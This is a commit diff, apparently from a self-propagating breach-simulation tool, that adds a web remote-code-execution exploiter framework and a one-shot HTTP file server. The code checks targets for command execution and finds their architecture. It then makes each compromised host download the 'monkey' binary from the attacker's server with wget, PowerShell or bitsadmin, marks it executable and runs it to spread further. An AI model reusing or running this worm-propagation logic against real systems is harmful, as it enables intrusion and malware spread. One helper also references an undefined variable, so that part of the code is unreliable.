Web RCE framework core files/changes

This commit is contained in:
Vakaris 2018-07-19 12:33:44 +03:00
parent 3e1edeac61
commit 68d949c655
5 changed files with 425 additions and 9 deletions

View File

@ -21,7 +21,7 @@ import monkeyfs
from network import local_ips from network import local_ips
from network.firewall import app as firewall from network.firewall import app as firewall
from network.info import get_free_tcp_port, get_routes from network.info import get_free_tcp_port, get_routes
from transport import HTTPServer from transport import HTTPServer, LockedHTTPServer
class DceRpcException(Exception): class DceRpcException(Exception):
@ -386,6 +386,23 @@ class HTTPTools(object):
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
@staticmethod
def create_locked_transfer(host, src_path, lock, local_ip=None, local_port=None):
if not local_port:
local_port = get_free_tcp_port()
if not local_ip:
local_ip = get_interface_to_target(host.ip_addr)
if not firewall.listen_allowed():
return None, None
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
httpd.daemon = True
httpd.start()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
def get_interface_to_target(dst): def get_interface_to_target(dst):
if sys.platform == "win32": if sys.platform == "win32":

View File

@ -0,0 +1,362 @@
import logging
from threading import Lock
from exploit import HostExploiter
from model import *
from posixpath import join
import re
from abc import abstractmethod
from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
from network.tools import check_tcp_port
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
LOCK = Lock()
class WebRCE(HostExploiter):
def __init__(self, host):
super(WebRCE, self).__init__(host)
self._config = __import__('config').WormConfiguration
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
self.skip_exist = self._config.skip_exploit_if_file_exist
@abstractmethod
def exploit_host(self):
raise NotImplementedError()
@abstractmethod
def exploit(self, url, command):
"""
A reference to a method which implements web exploit logic.
:param url: Url where to send maliciuos packet
:param command: Command which will be executed on remote host
:return: Command's output string. Or True/False if it's a blind exploit
"""
raise NotImplementedError()
@staticmethod
def get_open_service_ports(host, port_list, names):
"""
:param host: Host machine we are dealing with
:param port_list: Potential ports to exploit. For example _config.HTTP_PORTS
:param names: [] of service names. Example: ["http"]
:return: Returns all open ports from port list that are of service names
"""
candidate_services = {}
for name in names:
chosen_services = {
service: host.services[service] for service in host.services if
('name' in host.services[service]) and (host.services[service]['name'] == name)
}
candidate_services.update(chosen_services)
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
'tcp-' + str(port) in candidate_services]
return valid_ports
@staticmethod
def check_if_port_open(host, port):
is_open, _ = check_tcp_port(host.ip_addr, port)
if not is_open:
LOG.info("Port %s is closed on %r, skipping", port, host)
return False
return True
@staticmethod
def check_if_exploitable(exploiter, url):
try:
resp = exploiter(url, CHECK_COMMAND)
if resp is True:
return True
elif resp is not False and ID_STRING in resp:
return True
else:
return False
except Exception as e:
LOG.error("Host's exploitability check failed due to: %s" % e)
return False
@staticmethod
def build_potential_urls(host, ports, extensions=None):
"""
:param host: Domain part of url, for example ip of host
:param ports: Array [ port.nr, isHTTPS? ]
:param extensions: What subdirectories to scan. www.domain.com[/extension]
:return: Array of url's to try and attack
"""
url_list = []
if extensions is None:
for port in ports:
if port[1]:
url_list.append(("https://%s:%s" % (host.ip_addr, port[0])))
else:
url_list.append(("http://%s:%s" % (host.ip_addr, port[0])))
else:
# We parse extensions not to start with /
for idx, extension in enumerate(extensions):
if '/' in extension[0]:
extensions[idx] = extension[1:]
for port in ports:
for extension in extensions:
if port[1]:
url_list.append(join(("https://%s:%s" % (host.ip_addr, port[0])), extension))
else:
url_list.append(join(("http://%s:%s" % (host.ip_addr, port[0])), extension))
if not url_list:
LOG.info("No attack url's were built")
return url_list
@staticmethod
def get_host_arch(host, exploiter, url):
"""
:param host: Host parameter
:param exploiter: Function with exploit logic. exploiter(url, command)
:param url: Url for exploiter to use
:return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ...
"""
if 'linux' in host.os['type']:
resp = exploiter(url, ARCH_LINUX)
if resp:
# Pulls architecture string
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
arch = arch.group(1)
if arch:
return arch
else:
LOG.info("Could not pull machine architecture string from command's output")
return False
else:
return False
else:
resp = exploiter(url, ARCH_WINDOWS)
if resp:
if "64-bit" in resp:
return "64"
else:
return "32"
else:
return False
@staticmethod
def check_remote_file(exploiter, url, path):
command = EXISTS % path
resp = exploiter(url, command)
if 'No such file' in resp:
return False
else:
LOG.info("Host %s was already infected under the current configuration, done" % host)
return True
@staticmethod
def check_remote_files(host, exploiter, url, config):
"""
Checks if any monkey files are present on remote host
:param host: Host parameter
:param exploiter: Function with exploit logic. exploiter(url, command)
:param url: Url for exploiter to use
:param config: Monkey config from which paths are taken
:return: True if at least one file is found, False otherwise
"""
paths = []
if 'linux' in host.os['type']:
paths.append(config.dropper_target_path_linux)
else:
paths.append(config.dropper_target_path_win_32)
paths.append(config.dropper_target_path_win_64)
for path in paths:
if WebRCE.check_remote_file(exploiter, url, path):
return True
return False
@staticmethod
def get_monkey_dest_path(config, src_path):
"""
Gets destination path from source path.
:param config: monkey configuration
:param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe
:return: Corresponding monkey path from configuration
"""
if not src_path or ('linux' not in src_path and 'windows' not in src_path):
LOG.error("Can't get destination path because source path %s is invalid.", src_path)
return False
try:
if 'linux' in src_path:
return config.dropper_target_path_linux
elif "windows-32" in src_path:
return config.dropper_target_path_win_32
else:
return config.dropper_target_path_win_64
except AttributeError:
LOG.error("Seems like configuration properties names changed. "
"Can not get destination path to upload monkey")
return False
# Wrapped functions:
@staticmethod
def get_ports_w(host, ports, names, log_msg=None):
ports = WebRCE.get_open_service_ports(host, ports, names)
if not ports and not log_msg:
LOG.info("All default web ports are closed on %r, skipping", host)
return False
elif not ports and log_msg:
LOG.info(log_msg)
return False
else:
return ports
@staticmethod
def set_host_arch(host, exploiter, url):
arch = WebRCE.get_host_arch(host, exploiter, url)
if not arch:
LOG.error("Couldn't get host machine's architecture")
return False
else:
host.os['machine'] = arch
return True
@staticmethod
def upload_monkey(host, config, exploiter, url, commands=None):
"""
:param host: Where we are trying to upload
:param exploiter:exploiter(url, command) Method that implements web RCE
:param config: Monkey config, to get the path where to place uploaded monkey
:param url: Where exploiter should send it's request
:param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD}
Command must have "monkey_path" and "http_path" format parameters.
:return: {'response': response/False, 'path': monkeys_path_in_host}
"""
LOG.info("Trying to upload monkey to the host.")
src_path = get_target_monkey(host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
# Determine which destination path to use
LOG.debug("Monkey path found")
path = WebRCE.get_monkey_dest_path(config, src_path)
if not path:
return False
# To avoid race conditions we pass a locked lock to http servers thread
LOCK.acquire()
# Create server for http download and wait for it's startup.
http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, LOCK)
LOCK.acquire()
if not http_path:
LOG.debug("Exploiter failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
if not host.os['type']:
LOG.error("Unknown target's os type. Skipping.")
return False
if 'linux' in host.os['type']:
if not commands:
command = WGET_HTTP_UPLOAD % {'monkey_path': path, 'http_path': http_path}
else:
try:
command = commands['linux'] % {'monkey_path': path, 'http_path': http_path}
except KeyError:
LOG.error("Trying to exploit linux host, but linux command is missing/bad! "
"Check upload_monkey function docs.")
return False
else:
if not commands:
command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': path, 'http_path': http_path}
else:
try:
command = commands['windows'] % {'monkey_path': path, 'http_path': http_path}
except KeyError:
LOG.error("Trying to exploit windows host, but windows command is missing/bad! "
"Check upload_monkey function docs.")
return False
resp = exploiter(url, command)
if not isinstance(resp, bool) and 'owershell is not recognized' in resp:
LOG.info("Powershell not found in host. Using bitsadmin to download.")
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path}
resp = exploiter(url, backup_command)
LOCK.release()
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
LOG.info("Uploading proccess finished")
return {'response': resp, 'path': path}
@staticmethod
def change_permissions(host, url, exploiter, path, command=None):
"""
Method for linux hosts. Makes monkey executable
:param host: Host info
:param url: Where to send malicious packets
:param exploiter: exploiter(url, command) Method that implements web RCE.
:param path: Path to monkey on remote host
:param command: Formatted command for permission change or None
:return: response, False if failed and True if permission change is not needed
"""
LOG.info("Changing monkey's permissions")
if 'windows' in host.os['type']:
LOG.info("Permission change not required for windows")
return True
if not command:
command = CHMOD_MONKEY % {'monkey_path': path}
try:
resp = exploiter(url, command)
except Exception as e:
LOG.error("Something went wrong while trying to change permission: %s" % e)
return False
# If exploiter returns True / False
if type(resp) is bool:
LOG.info("Permission change finished")
return resp
# If exploiter returns command output, we can check for execution errors
if 'Operation not permitted' in resp:
LOG.error("Missing permissions to make monkey executable")
return False
elif 'No such file or directory' in resp:
LOG.error("Could not change persmission because monkey was not found. Check path parameter.")
return False
LOG.info("Permission change finished")
return resp
@staticmethod
def execute_remote_monkey(host, url, exploiter, path, dropper=False):
"""
This method executes remote monkey
:param host: Host info
:param url: Where to send malicious packets
:param exploiter: exploiter(url, command) Method that implements web RCE.
:param path: Path to monkey on remote host
:param dropper: Should remote monkey be executed with dropper or with monkey arg?
:return: Response or False if failed
"""
LOG.info("Trying to execute remote monkey")
# Get monkey command line
if dropper and path:
monkey_cmd = build_monkey_commandline(host, get_monkey_depth() - 1, path)
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd}
else:
monkey_cmd = build_monkey_commandline(host, get_monkey_depth() - 1)
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd}
try:
resp = exploiter(url, command)
# If exploiter returns True / False
if type(resp) is bool:
LOG.info("Execution attempt successfully finished")
return resp
# If exploiter returns command output, we can check for execution errors
if 'is not recognized' in resp or 'command not found' in resp:
LOG.error("Wrong path chosen or other process already deleted monkey")
return False
elif 'The system cannot execute' in resp:
LOG.error("System could not execute monkey")
return False
except Exception as e:
LOG.error("Something went wrong when trying to execute remote monkey: %s" % e)
return False
LOG.info("Execution attempt finished")
return resp

View File

@ -17,13 +17,19 @@ RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObje
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
# Commands used for downloading monkeys # Commands used for downloading monkeys
POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, ) POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%(http_path)s\\\' -OutFile \\\'%(monkey_path)s\\\' -UseBasicParsing\""
WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, ) POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\""
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s' WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
CHMOD_MONKEY = "chmod +x %(monkey_path)s"
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
# Commands used to check for architecture and if machine is exploitable # Commands used to check for architecture and if machine is exploitable
CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING CHECK_COMMAND = "echo %s" % ID_STRING
CHECK_LINUX = "echo %s && lscpu" % ID_STRING # Architecture checking commands
ARCH_WINDOWS = "wmic os get osarchitecture"
ARCH_LINUX = "lscpu"
# Commands used to check if monkeys already exists # Commands used to check if monkeys already exists
EXISTS = "ls %s" EXISTS = "ls %s"
DOWNLOAD_TIMEOUT = 300

View File

@ -1,3 +1,3 @@
from http import HTTPServer from http import HTTPServer, LockedHTTPServer
__author__ = 'hoffer' __author__ = 'hoffer'

View File

@ -6,6 +6,7 @@ import threading
import urllib import urllib
from logging import getLogger from logging import getLogger
from urlparse import urlsplit from urlparse import urlsplit
from threading import Lock
import monkeyfs import monkeyfs
from base import TransportProxyBase, update_last_serve_time from base import TransportProxyBase, update_last_serve_time
@ -182,6 +183,36 @@ class HTTPServer(threading.Thread):
self._stopped = True self._stopped = True
self.join(timeout) self.join(timeout)
class LockedHTTPServer(threading.Thread):
def __init__(self, local_ip, local_port, filename, lock, max_downloads=1):
self._local_ip = local_ip
self._local_port = local_port
self._filename = filename
self.max_downloads = max_downloads
self.downloads = 0
self._stopped = False
self.lock = lock
threading.Thread.__init__(self)
def run(self):
class TempHandler(FileServHTTPRequestHandler):
filename = self._filename
@staticmethod
def report_download(dest=None):
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
self.downloads += 1
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
self.lock.release()
while not self._stopped and self.downloads < self.max_downloads:
httpd.handle_request()
self._stopped = True
def stop(self, timeout=60):
self._stopped = True
self.join(timeout)
class HTTPConnectProxy(TransportProxyBase): class HTTPConnectProxy(TransportProxyBase):
def run(self): def run(self):